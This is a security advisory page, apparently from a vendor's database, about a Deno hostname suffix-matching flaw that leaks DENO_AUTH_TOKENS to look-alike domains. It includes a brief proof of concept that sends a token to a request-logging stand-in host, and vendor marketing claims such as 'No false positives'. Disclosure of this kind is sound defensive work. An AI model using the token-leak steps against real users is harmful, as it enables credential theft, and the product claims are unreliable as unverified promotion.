GHSA-5frw-4rwq-xhcr
MEDIUMDeno's improper suffix match testing for DENO_AUTH_TOKENS
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
Blast Radius
denoReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects crates.io packages — download data is not available via public APIs for these ecosystems.
Description
Summary
Deno improperly checks that an import specifier's hostname is equal to or a child of a token's hostname, which can cause tokens to be sent to servers they shouldn't be sent to. An auth token intended for example.com may be sent to notexample.com.
Details
auth_tokens.rs uses a simple ends_with check, which matches www.deno.land to a deno.land token as intended, but also matches im-in-ur-servers-attacking-ur-deno.land to deno.land tokens.
PoC
- Set up a server that logs requests. RequestBin will do. For example,
denovulnpoc.example.com. - Run
[email protected] deno run https://not-a-left-truncated.domain. For example,[email protected] deno run https://denovulnpoc.example.com - Observe that the token intended only for the truncated domain is sent to the full domain
Impact
What kind of vulnerability is it? Who is impacted? Anyone who uses DENO_AUTH_TOKENS and imports potentially untrusted code is affected.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🦀crates.io | deno | ≥ 1.8.0&&< 1.40.4 | 1.40.4 |
Research use only. For defensive security, authorized penetration testing, and academic research only. Never execute exploit code against systems without explicit written authorization.
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for deno. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update deno to 1.40.4 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-5frw-4rwq-xhcr is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-5frw-4rwq-xhcr is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-5frw-4rwq-xhcr. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-5frw-4rwq-xhcr in your dependencies?
O3 detects GHSA-5frw-4rwq-xhcr across crates.io dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.